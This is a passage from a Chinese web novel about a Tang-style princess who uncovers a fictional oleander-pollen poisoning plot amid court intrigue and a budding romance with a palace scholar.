魏林在廊下听着御医的话,已十五十知天命的年纪当着同僚与公主面哭了出来,他抹泪道:“内人与微臣是看着这外甥女长大的,阿绮自幼就在微臣府上,早已将她当成了亲生女儿。公主……这可如何是好?”
魏林再抹一把泪,回头对儿子道:“若是你阿娘知道此事怕是不好。”
阿娘的身子骨这些年都不大好,若是得知表妹受了惊这般胡言乱语不认人。
魏翊扬这般想着垂下了眸,许久道:“先瞒着。”
同样一直守在屋子了里的杨家姐妹听闻此言,杨文君道:“公主,姐姐出嫁后臣女一直没有个伴,不若来我杨家。我与阿娘照料她,等她过些时日好了,再将她送回魏家。”
顾绮天性纯真,在她们面前知无不言,心性豁达,有说有笑,走到哪里都能结交几个好友。
如今出了这样的事儿,眼瞧着顾绮似变成了另一个人,杨文君红了眼。
杨湘君也在这时道:“自打我走后,后院里冷清许多,阿娘喜欢女儿家,这样子我瞧也是个办法。”
姜宝来望着纱帐里的小姑娘,一手摇着扇子沉吟片刻:“正巧在行宫……”她又回身对廊下站立的魏翊扬道:“你就对你阿娘说我在行宫发生了一些意外,顾娘子救驾有功受了轻伤,养在公主府,之后嘛就说我甚是喜欢顾娘子,一直随我去学馆听书,过些时日再放她回去。这边嘛,我让我府里的御医先医治着,说不定哪日就好了。”
说着,她拿着扇头拍了拍魏翊扬的肩膀:“放心。多大的事儿。”
魏翊扬见她此举笑了笑,还未开口,魏林已抢先道谢:“公主良善,解了微臣的燃眉之急,多谢公主,微臣代内子多谢公主,多谢小殿下。”
魏翊扬见此也欲朝着她辑礼。
姜宝来当即拿了扇挡住。
顾绮的贴身侍女没了,身旁自是没有个悉心照料的,这些行宫里的宫娥她是有些不放心的。
遂姜宝来留了细心的覃楹在此煎药,便要离开。
出了顾绮的住处,姜宝来才感到疲乏,正想回了屋子歇息,又想起方才顾绮的话,于是她对雾萝道:“你多带上几个人,去瞧一瞧,那湖边或是沿着这住处看看有没有那长命锁。”
雾萝领了命,速速出了内院,没过一会儿又返了回来。
“公主,程校书在院子外,我瞧着是在等公主呢!”
30. 揭露
内院外,一棵郁郁葱葱的香樟树下,程晚一身双银色束腰长衫,外罩着一件天水碧色披风,一手撑着一把油纸伞,一手垂下拎着一方食盒,静静地站在那里。
丝丝细雨,伴随着泥土与青草的味道,显得整个行宫都带着一股清冷沉闷的气氛。
见到公主被侍女簇拥而来,侍女手中同样撑着一把伞,而那身穿的轻罗女郎紧紧抿着唇,似有些不悦。
程晚渐渐牵起了嘴角,那双清浅的眼睛也渐渐有了笑意。他先是行一礼,而后温声道:“雨后寒生,多加一件衣裳以免着凉。”
身侧撑伞的雾萝有些心虚,不由地缩了缩脖,她身为公主的侍女怎么能忘了给公主添衣呢?
方才在顾娘子那里,她们几个忙前忙后,倒是把公主给忘了。
姜宝来闻言幽幽地扫了他一眼:“程子煦,你不会特地赶来就是为了与我说让我下过雨多添一件衣裳吧?”
她低头瞧了瞧自己的锦履:“你不知道刚下过雨,地面泥泞,我的鞋都脏了。”
程晚也随着垂下眸,果然见那颗如鸽子蛋般圆润光泽的珍珠,沾上了点点污渍。他忙谢罪。
姜宝来见他难得主动来寻她,也有些意外,挑了挑眉:“你有事?”
程晚道:“方从殿下处出来。”说着,他将手中的那八角食盒递给了她身侧的雾萝:“是樱桃毕罗,殿下说公主爱食。”
“所以便让你送来了?”
“这茂才的活计什么时候成了你的?程校书真是一人当多职,不若改日去我府中换个驸马当当?那九品的芝麻小官有何用处?”
行宫内因圣驾亲临,宫人们不免来来往往穿梭,等待贵主们的驱使。虽说此刻这内院没雨没有宫人经过,但雾萝还是怕被有心人听了去,忙在旁清了清嗓。
程晚瞧着神色不悦,话语里带着清冷,一把再一把无影刀朝自己扎过来的公主,他浅浅一笑。
大抵还是昨日的事。
那没解成的蹀躞带……
那没脱成的衣……
程晚抬起了眸,一双长睫轻轻颤动,随后他将手撑的纸伞放在一旁,再将身后的那件天水碧色披风解了下来,欲递给公主身侧的雾萝。
“都是子煦的不是,公主忧心子煦安慰,公主若还未消气……嗯,我们和好如初吧?”
身侧的雾萝正要去接那件披风,闻言噗呲一声笑了出来,伸出去的手也当即收了回来。
她还在想这浑身君子风骨的探花郎该如何去哄公主开心,甜言蜜语?还是巧舌如簧?谁想竟这般直接、坦率,丝毫不拐弯抹角。
这个校书郎,就像今日的绵绵细雨,温柔又明净。
姜宝来闻言也是一怔,想她堂堂公主,从来都是他人吃亏,怼得他人哑口无言得份。什么时候竟成了自己无言以对?
雾萝在心里笑够了又拿眼去觑公主,见她盯着那件披风不放,这披风便也不敢再擅作主张接了。
于是,雾萝不动,公主更是不动,只拿一双漂亮清浅的眼看着程晚。
程晚迟疑一瞬,伸出手将那件披风摊开,雾萝也很是识相的退到了一旁。紧接着,程晚将披风披在了姜宝来的身后。
小雨霏霏,雨依然下着,雨滴落在他的干净得面容上、鼻尖上,姜宝来忽地想起行宫里她闺帏处,身后的那片竹林,雨透轻竹,他就像那片在雨水润泽下的密竹,清雅爽净。
她吩咐雾萝:“不用在这儿了,你去待人找一找那把锁,若是没有回头去问问魏翊扬可有见过,去打一把一模一样的与那蝉儿一同安葬了。”
玉华湖她们是不能带了人去捞的,父皇为讨姚圆清的欢心来行宫避暑,如今在行宫又闹出了一条人命,父皇定是心生不喜。若太铺张动用人力,对魏家对顾绮都不是一件好事。
雾萝领命,立时将手撑得那把伞递给了程晚。
程晚接过。待雾萝走后,两人间一时又变得静谧。
程晚去循着姜宝来的目光去瞧,见她盯着自己的衣襟,不由地去摸了摸。
他原本以为是盘扣扣错了位置,谁料下一刻,听见公主说:“程子煦,你的颈真白,我想再咬上一口。”
姜宝来在走上前一步,抬起头与他对视:“是不是比那樱桃毕罗还好吃?”
程晚看着尽在咫尺的公主,似乎只要再稍稍轻身一寸,他的唇就会触碰上她的额头。
还未带他开口,身后忽然想起一阵步履轻盈地脚步声。
覃楹将御医开得药煎好后看着顾绮喝下,顾绮已不再吵闹,而是安稳地睡了过去。
覃楹叮嘱在内院里看顾顾绮的宫娥,便想回了公主的住处。
原因,她有一件要事。
但公主却不在屋子里。
覃楹得知公主一直未归便追出了内院,却见公主并未走远而是在一颗滴着雨的香樟树下与那个叫程晚的校书郎在谈话。
两人贴得那么近,覃楹垂下了眸,有心回避。但公主已经发现了她的身影。
见程晚在旁,覃楹便没有开口。
姜宝来见此,随口道:“无事。”
她想了想,又问:“顾绮好了?”
覃楹摇头,随后将衣袖里,姚芳好在湖边掉落的那枚香囊呈了上去。
当时玉华湖旁很多人,她一直在公主身侧,恰好姚芳好待着侍女也在其中。顾绮悲痛下要奔下湖里去寻那条长命锁时可以说动作很突然。
一旁安慰她的贵女们吓了一跳,姚芳好也不例外。顾绮猛地那一起身,一手抓在了姚芳好的衣角上,也正因此,她瞧着姚芳好那枚香囊掉了下来。
公主自数日前御苑一行后与平常大有不同,但公主不曾与她明说,却让她留意姚淑妃姑侄。那枚香囊,不知怎么,当时她鬼使神差地也并未提醒那姚娘子香囊掉落,而是不动声色捡了起来。
覃楹本想查验一番便将那香囊归还姚芳好,却在细闻到那香囊里发出来的气味时,面色大变。
但顾娘子忽然晕倒在湖边,紧接着内院里站满了宫人与御医、魏家父子。覃楹一直未找到机会与公主禀告的机会。
覃楹想到此,敛容道:“公主,婢子仔细闻过,此香囊是夹竹桃被碾碎成了花粉的味道。”
姜宝来猛地抬起了头,问覃楹:“果真?”
她立时沉下了面。
那夹竹桃全株都带着剧毒,轻则生病,重则丧命。
覃楹再道:“近来公主时常犯困,有时还会头晕,婢子仔细想了想,公主犯困时,恰好都是在与姚娘子见面之后,婢子想许姚娘子近身公主时,那夹竹桃花粉挥发出来的气味所致。”
姜宝来听罢,突然想起那日自御苑开始,她姚芳好便自称毁了容待着一片面纱,直到前两日来了行宫也未摘下。
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这是防着自己中毒,让她死翘翘呢!
姜宝来立时眉毛倒竖,气得牙痒痒:“我说怎么近来犯困呢!”
再一回头,见程晚也变了面色,那澄澈的眼中竟满是清冽冷然。
上一次,这一副神情,还是在她遇刺那日所见。
姜宝来突地又回过了眸,瞧着淅淅沥沥的雨,当即道:“去阿兄那里!”
雾萝带着公主府的人寻找蝉儿的遗物未果,便回了内院。得知公主去了太子殿下那里,又想着覃掌事还在顾绮处照料,公主身旁没个贴心的人,便去了外院寻公主。谁想却瞧见了覃楹也在。
覃楹与雾萝向来都是能近身公主的侍女,都是姜宝来的心腹。
覃楹将此事告知了雾萝。
雾萝听罢当即抽出了腰间的软鞭要去寻姚芳好。
覃楹一脸无奈,制止了她。
雾萝自知在太子的住处,便无所顾忌地说:“那姚娘子爱慕魏郎君多年不得结果,还想借着公主将那蠢蛋赵鸣的婚约退了。那日在马球场公主为此体罚了姚娘子,定是她!定是她姚芳好因此恼怒,想了将夹竹桃花粉放进香囊里,想以这花粉的慢性毒毁掉我们公主。真真是歹毒!”
雾萝越说越愤,红了一张脸,气得哆嗦。
姜宝来在屋子里隐隐约约地听到,心却犹坠入谷地。
前世她在去过御苑后便如覃楹所说一直头晕、嗜睡。从前她也爱午后小憩一阵子,或是在球场打了马球,回府时疲惫睡了过去,但像如今这种情况时常发生,且恰好都是在见过姚芳好后,从前自是没有的。
因此夹竹桃花粉是从那日御苑开始存在的,当日在回长乐宫后覃楹还要叫御医过来为她诊治,她以为是着了凉睡上一觉就好了,谁成想最后眼睁睁看见自己吐血、中毒的惨状。
但以夹竹桃花粉气味的毒性,不足以让她当日便迅速毒发身亡,且她当日分明的吐血了。
她一定是口服了某种食物。
而且前世她没有未仆先知的本事,姚芳好,或是她姑侄二人合谋打定了主意想害她,在御苑里,所有宫人的眼皮子底下,下了毒就好了,那毒性极强,她服了定会死去。何必又多此一举将夹竹桃磨成花粉来害她?
还是说是她姚圆清擅作主张下的毒?姚芳好并不知晓此事再以夹竹桃花粉得毒性来害她?那姚圆清身为父皇的宠妃为何一定要不惜一切毒杀自己?
还有她重活一世,她知悉了前世,未在御苑用膳,且提前让多吉去了御苑打探当日参宴诸人的行踪,却未发现有异常,即是灶房的食官也没有。
后来她在坊间遇刺,顾绮与杨文君来府探望,姚芳好却以病得下不来床推脱。听闻当日在大理寺赵鸣的说辞,许是见这夹竹桃的毒气漫长,才窜梭了赵鸣来行凶。
因此她就没有想过下毒毒害她一事,凭她对姚芳好的了解,她不敢!她姚家的人只会背地里偷偷摸摸地行事。
前世她中毒身亡,她乃堂堂一国公主,皇室血脉,父皇与阿兄定会严查当日在御苑所有参宴之人。
姚芳好能冒这个险?
所以,不是她。前世她并不是真正死于姚芳好之手。
当日她一定是中了另一种毒,夹竹桃花粉的毒性再加上另外的毒药,让她就此魂散于长乐宫。
所以那毒应是如程晚所说,并不是在御苑中的!
31. 跪下
思及此处,姜宝来蹭地从椅上起了身。
珠帘后,一面山水屏风旁,蒲团上安座的二人看着在原地徘徊踟蹰,又走走停停的姑娘。
姜宝来的脑子里又突然冒出一个儒雅郎君清冽的声音:抑或此人不为谋得权力,只为除掉公主获得他或为她想要的利益。
她是委实想不出除了她姚家姑侄,还有谁能胆大包天谋害皇室子孙!
还有,前世她死得那般惨,本就身弱多病的阿兄是否也会病情加重?会不会为她伤心过度一病不起?那东宫又如何了?她的长乐宫覃楹、雾萝那些人又如何了?
想到这里,姜宝来蓦地心头一紧,一掌拍在了身旁的案几上。
“这姚家、赵家的人心真是狠呐!来了一个又一个。就这么想我死吗?”
珠帘后,正手提着紫砂壶为太子斟茶的程晚,手微抖,眼睫也随之一颤。
姜朔玉嘴角带着浅浅地笑意接过了茶壶,示意他坐下。又再为他斟满了一盏热茶。
姜宝来当即唤来了覃楹吩咐道:“你先回去,她姚芳好丢了香囊定会去找,说不定还会去找到我的住处,让多吉麻溜地避开人赶到内院盯住她,至于在内院里的那些侍女跟着那些人再去找一找蝉儿的遗物。”
既然会怀疑她,她总不能什么都不做吧?
覃楹立时应是:“明白。婢子这就回顾娘子的住处。”
姜朔玉遣散了在廊下的守卫,直到这时姜宝来才想起,平日里她与阿兄百无禁忌说起小秘密的地方多了一个人。
姜宝来看着案几上冒着烟霭的香茶,平日里阿兄素爱饮味醇鲜甜的阳羡茶,而她爱饮进贡皇室的蒙顶石花,如今突然多了一道峡州碧涧。
再看胞兄姜朔玉,此刻正眸光清浅,眉眼带笑地看着程晚。
这相救之恩,换来胞兄对臣撩如此的关怀备至,实则有些太离谱了吧?
就好比她与阿兄“孤苦相依”的十余年,阿兄对她的体贴入微,为她遮风挡雨,事事劳心惦念,忽然就被第三个人分了去。
思及此,姜宝来坐了下来,倾身过去,目露怀疑:“阿兄,程子煦不会是父皇流落在民间的儿子吧?”
姜朔玉正端着茶吃下一口茶,闻言猛地呛了出来。而程晚在一旁,以拳抵唇也跟着轻咳了咳。
姜宝来递过了巾帕,姜朔玉道:“乐宁!不要胡闹!简直无稽之谈!”
姜宝来:“是么?我也是这么以为的。”
良久,姜朔玉道:“乐宁,你可信任阿兄?姚家当年有些事,阿兄不得不去解决。倘若姚坤的女儿这个时候有恙,父皇问罪姚家,有些事便会再也得不出个结果。现下还不是最好的时候。”
至于背后的人,他这些时日一直在让茂才暗中查消息。
姜宝来默然半晌,问:“可是与阿娘有关?”
姜朔玉点头。
姜宝来离开外院后,姜朔玉毫未避讳程晚,唤来茂才交代他盯住姚淑妃与母家的动向。
茂才道:“殿下是怀疑淑妃娘娘?”
姜朔玉道:“妹妹在宫中用食不可能会中毒,此毒只会是在公主府或坊间所服。”
茂才思忖片刻,道:“可公主府的人乃当年殿下亲拣选送过去的。至于公主的三位伴读,除去姚娘子,顾家娘子年六岁便一直留在魏家,那崔氏可以说是将她当成了自己的女儿,因汤老夫人与魏家交好,还有魏郎君的缘故,这些年顾娘子时常去公主府拜访,看样子公主对顾娘子也是喜欢的,今日顾娘子晕倒在湖边,公主将她带回了内院一直没离开。”
“杨家嘛……”茂才早已在心里暗自斟酌了一番。
姜朔玉也在这时重新端起了盏,吃了一口热茶。
“杨太傅为殿下的老师,公主与杨家姐妹自幼便交好,奴才觉得更不可能了……”
茂才越说眉头凝得越重:“可话说回来,就是姚娘子去公主府,公主对她那是势同水火,若有吃食送去,公主更不可能吃了,也不会赏给下人。还有那淑妃娘娘,还能将手伸到坊里去?”
“是啊……所以这毒便不好查了。”姜朔玉幽幽道。
程晚这时开口,温声道:“茂才公公,公主常去的酒肆可有查过?”
茂才冷不防听见蒲团上静坐的温雅郎君询问自己,忙道:“别说西市那些酒肆,公主平日里接触的那些胡姬,奴才都查过了。那胡姬警醒着呢,奴才费心装扮了一番,说是玉壶公子的远房亲戚也愣是不多言一句。”
茂才说到最后又添补了一句:“东市的东篱酒肆更是不用说。”
程晚与姜朔玉闻言一同笑了笑。
茂才静默几息,又将一条叠好的红绸呈了上去。
茂才倏忽压低了声音道:“殿下随圣驾来行宫,此行姚坤要在内。我们派去的人盯着那姚家,果真见杜氏前日又出了门。这是在青龙寺求的,挂在了后院的树上。”
程晚先接了过来,将那红绸拉展开,见是一行小字:冤灵转生,错已铸成,罪孽难偿,唯愿神明佑小女、吾儿无灾无难。
茂才见姜朔玉程晚看着那条红绸,沉静无言。再道:“这杜氏许是想将女儿通过其亲外甥的婚约带出姚家,姚植这些年在鸿胪寺担任寺丞一职也算官途顺利,杜氏在深宅,这些年深居简出应是无法说服姚植辞官。而她那个小儿子姚培前些时日方从浔阳杜家回长安,前些时日在酒肆与几友谈起长安富贵,更是不能走了。”
“至于魏御史,昨日被陛下召去,两人下了一盘棋,酉时落了雨才从庆云殿离去。”
姜朔玉垂着眸,沉思微凝,问茂才:“他没有再去别处?”
茂才摇头:“魏御史酉时离开在外院见到了魏郎君,中郎将寂静过人,奴才未曾多留。”
姜朔玉听罢点点头。
程晚这时将那红绸又归还给茂才,并道:“多谢。”
茂才又哪敢受此理,忙侧过了身退了下去。
内室里静谧无声,炉上的沸水再次升腾起来,程晚自蒲团起了身,再执壶沏了一盏新茶,才道:“阿玉兄长,为防人起疑,子煦便不多留了。”
姜朔玉眉眼里带着笑意,并未多说什么。直到程晚快穿过那道闭合的门扉,走到门廊处时,他才道:“阿迟,既然回来了,总该有个结果的。”
程晚回身朝着那珠帘后,蒲团上静坐,温润端方却细看下面色苍白的姜朔玉微微一笑:“阿玉兄长早些歇息,公主那里,子煦尚有一个猜测,只是尚心下存疑。还要回城后见过公主再论。”
姜朔玉笑了笑:“阿迟,你们的事阿兄不会管。你且放心去。”
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傍晚,姜宝来带着雾萝回了内院,往年来行宫她的住处都在一树参天竹林前,那里安静
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,还不用受人打扰。
长明帝怕委屈了小女儿,换作宗亲里的郡主县主都是住在临着荷塘与花园的住所。便让她的三个伴读都相邻而居。
见到公主回来,多吉跟了上来,虽未言语却垂着眸。
姜宝来一眼扫过便知有异。
她进了屋子,不疾不徐自屋前走过内室。自打来行宫后,她便让覃楹盯住姚芳好,也自是在出门前留个了心眼。
她吩咐覃楹将案几上她惯用的茶杯、酒壶,乃至衣橱和书案里外的物件,看似凌乱实则有规的摆放起来,做了记号。
如若在想她下毒,总要找个能近她身,入她口的才是?
而现在这些物件果然被翻动过。
姜宝来开口道:“是她?”
多吉道:“奴才一直在屋檐上,看清了,是姚娘子身边的侍女。”
“侍女?”姜宝来挑了挑眉。
也是。
这般不要命的事,姚芳好会做么?
几息后,从玉华湖旁一无所获回来的侍女见公主再次火急火燎离开了住处。
雾萝满脸地兴奋,跟在后面,一刻不敢耽搁。
-
厢房内,姚芳好正心事重重,宫人端上来的晚膳也没有用。
莺儿不明所以,就在不久前听了小姐的话去了公主的闺帏去寻有关于公主与那新科进士“私通”的证据。
莺儿当即吓破了胆,姚芳好却面无表情地以她在府里外院做事的弟弟相要挟。
“她出去了。至于她屋子里的那些侍女都去给顾绮的侍女寻长命锁了?你怕什么?”
莺儿立在一旁发抖,嘴唇一张一翕:“婢子怕那叫蝉儿的侍女……”
姚芳好蓦地冷笑:“怕什么?冤有头债有主,我与她素来无纠葛。你若再不去,你的弟弟,待她回来发现了你,你那弟弟便不用在外院当差了。”
莺儿心惊肉跳地去了公主的住处,果然见院子里平日里侍奉在侧的侍女统统不在了,便大着胆子摸了进去……
莺儿最后一无所获地回去交差,姚芳好却气得面色铁青,回了床榻上紧抿着唇不发一言,最后索性闭上了眼。
莺儿静立在一旁,瞧着已放晴了的天,心下稍稍松了一口气。正想着去寻些吃食,小姐还未用晚膳,门外忽地响起一阵急促的脚步声。
紧接着,紧闭的门扉被人从外踹了开来。
莺儿面色大变,看向来人:“公……公主!”
床榻上的姚芳好蓦地睁开了眼,还未待起身,便有一只手拽着她的领窝将她从床上拽了下来。
“你,给我跪下!”
姚芳好很快对上了那张怒气冲冲却仍难掩明艳动人的眉眼。
姚芳好一瞬面色煞白。
姜宝来再一声厉语:“你跪还是不跪?”
姚芳好瞧着那张带着怒意的绝色,思量片刻,强颜欢笑问:“公主……公主想做什么?”
姜宝来面色含怒道:“怎么?想找我与他程子煦私通的证据?找到了么?好让你的心上人回心转意?是不是?”
“我姜宝来堂堂一国公主喜欢哪个不必私通,喜欢就是喜欢,用不着遮遮掩掩。”
雾萝直到这时才恍然大悟,默默收回了腰间的那条软鞭:公主此举竟是想将计就计,误让姚芳好以为那香囊不是被公主拿去的。
32. 探花胡饼
雨后的阳光恰好,天气也跟着清爽。
长明帝因行宫里出了人命也没了在此多留的心思,没住上几日便带着群臣离开了玉华宫。
长乐宫里,姜宝来拨了几个侍女到顾绮暂时的住处,与她的闺房相隔着一个池塘,座落在后院还算清净。御医说有利于她的恢复。
屋子里点着一炉香,覃楹坐了下来陪公主下着双陆。雾萝在旁摇着扇,其他侍女有在整理公主带去行宫的妆奁的,也有在旁侍奉着茶水的。
覃楹却发现向来棋高一着的公主这次却输了,她抬起头见公主神思不知飘到了何处。昨夜公主去了姚娘子的住处,却没质问姚娘子那藏在香囊里的夹竹桃花粉,她想公主定是有她的道理。
但雾萝却瞧见了昨日那场公主的反击。
公主当夜在姚娘子的住处一坐就是一个时辰,这期间公主悠哉游哉地倚在了那姚娘子屋里的罗汉床上。
公主一边喝着乌梅饮,一边吃着刚端上来的鲜爽瓜果。而姚娘子跪在地上一个时辰,愣是不敢为自己辩解一句。
侍女莺儿见此拔了腿就要溜出去搬救兵,但公主却没拦着。
“你让她去啊!抓包抓现行,我那屋子里还有她留下的脚印呢!她若不去,要不我带着她亲自去淑妃娘娘那评评理?这擅闯皇家居室是个什么罪名?”
莺儿闻言当即跪了下来,直求饶道:“公主……公主……”
可公主却一个冷然的眼风扫过,随后在公主身侧近身侍奉的几个侍女就要来拉扯她。
莺儿大喊:“公主饶命——”
月上柳梢头,姚芳好因没用晚膳,提心吊胆了一个下晌,如今再跪上两个时辰,再忍不得晕了过去。
莺儿又见公主终于起了身,却不是来要她的命,毕竟公主乃天家帝女,金枝玉叶,只要一句,捏死她就如捏死一只蚂蚁简单。
姜宝来自榻上懒懒起了身,身旁自有侍女侍奉着为她穿好了鞋履。她随手放下手中的杯盏,用巾帕擦了擦嘴角,随即打了个饱嗝,悠悠道:“我乏了,回去吧。”
莺儿眼见着公主扬长而去直到看不清了身影,这才敢去姚淑妃那里搬救兵、请御医。
翌日天光大亮,姚淑妃亲自照料了亲侄女一夜,一病不起,泪水涟涟。
“陛下……臣妾的侄女大错特错,兄嫂柔弱,芳好自幼受兄嫂熏陶,却也心地良善。说到底是如长安城众娘子一般,生了倾慕那才貌双绝的魏中郎将的心。臣妾自回了宫便让侄女回府闭门不出,让兄嫂请了夫子好好教导教导……”
姚淑妃哭得险些断了气,一双泪眸里尽是温婉动人,泪珠一滴滴盈盈滑落:“臣妾看公主自幼年到成人,皇后娘娘去得早,臣妾这些年唯有瑜儿一个孩儿,自是将公主视如己出。臣妾也念陛下幸苦,日理万机为国土操劳,这些年到底想为陛下生下一个女儿与公主作伴,奈何神明不怜,陛下……陛下这可如何是好……”
长明帝望着梨花带雨,更是娇美动人的宠妃,恍惚间,一时失神,似见到了年少时他所遇冷艳绝尘的那女子。
那女子与他一同跪在日头里近两个时辰。当年他还是太子,惹父皇不喜,受父皇责罚。
后来发生了什么呢?他有些不记得了,只隐隐约约记得,有一个人从风雪中来,一身矜贵、冰雪之姿,又似不染凡尘。
再后来,他得以从困境中脱离。
漫天飞雪里,他望着进进出出一脸慌张的内侍与御医、与父皇对那人满眼地关切与疼惜。
而他的身旁只有那个一起受罚的女子。
“珍儿……”
长明帝一阵恍惚,抱起泪珠盈盈的姚圆清缓缓走进了罗帐。
而姚淑妃口中视入几出的嘉福公主早已带着府邸一行人,还未带天明便离开了行宫。
覃楹见公主一手落了棋子,呢喃道:“会是谁呢……”
覃楹看向窗外,见一池的碧波与扑面而来的一缕荷香,她回眸道:“去年春日里公主办了裙幄宴,这个时节里天气炎热,酷暑难耐,倒是鲜少有宴。再之后七夕过后天气凉爽一些就是淑妃娘娘的生辰了。”
雾萝在旁听着:“公主可是近来无聊?”
姜宝来一手执着棋,若有所思。这天底下最想让她的死的莫过于姚芳好,可却不是姚芳好。
若说姚淑妃,难道是皇室有人想用她的死来刺激哥哥,谋取储位?
正此时阿媚从杆上飞了出去,落在檐下的风铃摇摇晃晃,又展开翅膀在屋子里转了一圈儿,跳上了正在拾掇公主的妆奁,胭脂水粉的一名侍女肩头。
侍女冷不防吓了一跳,妆奁里的唇脂胭脂顺势跟着掉了出来。侍女见此忙跪了下来。
而阿媚为此顿觉无趣又飞到了姜宝来的肩上。
阿媚一声声鸣叫:“公主——”
“程子煦——”
姜宝来幽幽看了阿媚一眼:“再叫我就将棋子塞到你嘴里。”
阿媚张开嘴:“啵,啵。”
姜宝来:“……”
雾萝忍着笑过去瞧,见那些胭脂水粉有些摔得粉碎,正想与其他人一起处理干净。公主常换新衣,这胭脂水粉自然也换得快。
雾落正随那侍女一同将摔得碎裂的唇脂捡起,再看到那侍女手中一盒唇脂时一怔。
她道:“咦?公主平日里最爱椒红色的唇脂,怎的多出来一盒蔷薇色的?”
覃楹见此起了身,走近看了看,道:“是公主生辰时湘君娘子送的。”
姜宝来还在与覃楹下着棋,覃楹就快要出局了!
就在这时,她忽然回过了眸盯着那侍女手中的唇脂看了几息。
姜宝来道:“摔坏的丢了就是了,旧的不去新的不来。”又招呼过雾萝:“小萝儿,拿过来
我瞧瞧。”
翌日。
姜宝来自行宫不告而别,来去自如,长明帝对于这个宠惯了的小女儿已经习惯了。
但姜宝来想去东宫看一看,她已经好些日子没去东宫了。
路上,步辇恰好路过东市最繁华的那条街巷,姜宝来看见东篱酒肆忽然挂出了新招牌。
雾萝在旁瞪大了眼睛:“探花胡饼,这是什么古怪的名字?”
覃楹闻言与她一同去看酒肆前,突然围满的人群,许多宅邸的侍女、小厮都提着食盒在买那探花胡饼。
人挤人、人推人。
雾萝再次乍舌。
公主的步辇被仪卫保护着,轻松而过。
有小厮从人群里挤了出来,笑道:“昨日我都没抢到,我家小姐吩咐了今日若不买去将这胡饼送去崇文馆给一个程姓的郎君。
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回头这个月的月银就没了。”
雾萝结巴道:“这说得不会是程校书吧?”
雾萝正要拿眼去觑头顶步辇上的公主,公主已先开了口。
“去崇文馆!”
-
向来在学馆给王孙子弟们教书的蒋学士这两日病了。为此,讲堂里这两日便由蒋学士的二把手,张学士代课。
姜宝来怒气匆匆地进了崇文馆,还未拐个弯去藏书阁,便被眼尖出来透气的张学士“抓”个正着。
几个皇室宗亲里的半大小子,特别是晋王世子带头,不好好听课,只知道背地里偷吃点心果
脯。
张学士不如蒋学士资历长,说起话来有底气,看着这些皇室子孙,兀自懊恼,气得寻了借口出了讲堂。
张学士瞧见公主此刻就如瞧见了圣驾亲临。腿脚也比往日灵活,大步流星地走过,行礼道:
“公主今日可是要回来听课了?”
姜宝来:“近日事多。过些时日吧。”
讲堂内不时发出朗朗笑声,张学士不禁皱起了眉头。
姜宝来这才感到有些不对劲,她朝后漫不经心地望了望:“小老头不在……”
姜宝来的话音还未落下,一双明眸已不由自主地朝着那讲堂的隔间看去。
隔间里,开着一扇窗,小窗前一身着青色官袍的俊俏郎君正聚精会神地垂着眸,披阅着书案上的考卷。
蓦地,姜宝来眉梢一挑:“这又是怎么一回事?”
张学士眨眨眼:“公主还不知?早上陛下身边的内侍王贤来过一次,说是陛下近日来想寻太祖皇帝传下来的一本札记孤本,先帝去后流传到了陛下手里,可今早陛下一时兴起想翻阅,谁知却不见了。后来王贤说是想起早前陛下翻阅孤本时正是将一些御注书册赐给学馆的日子。是以王贤来了一趟崇文馆……”
王贤拿着太祖皇帝的孤本本是要心满意足离去的,恰巧发现了正焦头烂额的管理着一群贵族学生的张学士。
王贤有礼地笑:“张学士,这不是有个现成的帮手?”
张学士一脸茫然,将学馆里的人在脑中翻了个遍也没想到是何人,他问:“敢问王公公是何
人?”
王贤:“今年春日里的新科进士,曲江宴上文采极好。”
“探花郎啊!”
姜宝来听罢一怔。
难不成那日父皇问她驸马一事,真起了对程晚栽培之意?
姜宝来思忖片刻,对张学士道:“不要说我来过。”
张学士眼见着公主离去,咬咬牙又回了讲堂。
但姜宝来却是未离开崇文馆,而是去了藏书阁,程晚平日里修正典籍的那间屋子。
屋子里,井井有条,可以说是一尘不染。
姜宝来拿起了书案上的一本书籍,上面还有还未干涸的墨汁。
上面的字迹工整,笔锋秀逸。
姜宝来笑了笑,正想坐下来拿起笔筒里的一支狼毫笔添上几笔,鞋履却碰到书案下一物。
她垂下了头,见是一把绘有梅兰竹菊的油纸伞。
姜宝来正想将它拿到一旁,却是看着那把伞越看越眼熟。
她忽地想起长安近来多雨,这不正是她那日送出的那把伞?
原来他一直带着。
33. 考卷里的小秘密
姜宝来让覃楹去取一份从张学士那里新收上来的考卷,略一沉吟,她又看向在外静侍的多吉。
想起从外祖母那里听来的那些话,姜宝来心底暗自一声冷笑。
帝王之家,最是薄情。
她张口道:“多吉。”
多吉听见了公主的召唤忙走了进来:“公主。”
“多吉,你想阿娘么?”姜宝来问。
多吉闻言眼神闪烁了几分:“公主想娘娘了?”
姜宝来忽地又垂下了眸,抿着唇也不说话,良久她道:“我听闻当年我还尚在阿娘腹中时,阿娘是在慈恩寺动了胎气,我才出生的?你可……”
她一语未罢,阁外忽然响起由远及近地脚步声,原是邵典书得知公主来了崇文馆。他按耐不住心底的猜疑,又想着程晚目下不在阁内,便不请自来。
邵典书见公主正坐在平日程晚校对典籍的那把椅子,手里正拿着程晚平日里不离手的书本。
邵典书更是兴奋。
他道:“不知公主莅临学馆,微臣这就去换程校书。”
姜宝来看着不请自来的邵典书,狐疑地问:“你喊他做什么?”
邵典书:“公主不是来找他的?”
他稍稍一叹,当下一个眨眼的功夫,姜宝来又见他红了眼:“昨日微臣想请程校书吃酒,可程校书却推辞了,最后我二人去了松风茶肆,结果被一贵族子弟在对面的酒肆里打伤了。”
“你?”姜宝来挑挑眉,见邵典书从头到脚看了看,只是一瞬便挪开了眼。
瞧着也不像似受伤的呀!
邵典书见公主瞧自己的神情又哪里还不明白。忙解释说:“不、不是微臣。是程老弟。”
闻言,姜宝来猛地又回过了头。
邵典书见公主有细听的打算,立时道:“昨日在东篱酒肆,姚尚书的儿子与今年春日科举失利的寒门考生吵了起来。这姚尚书向来有些寒门出身的官员,打压寒门势力……”
“姚尚书的哪个儿子?”邵典书还未讲明昨日事情的经过,又听公主打断了他的话。
他回道:“微臣听着他那几个小友好似……好似叫他二郎。”
邵典书说到此处,面色涨红,很是肯定地道:“对,就是他那个幼子!”
昨日的事儿,他很是恼火,因为他自己就是个例子。如今的邵家是典型的没落贵族,原本祖上是出过一位宰相的,后来得罪了前朝有一位皇子,光耀门楣的先祖被贬,这之后邵家再没有出过一位重臣。
姜宝来问:“姚培?”
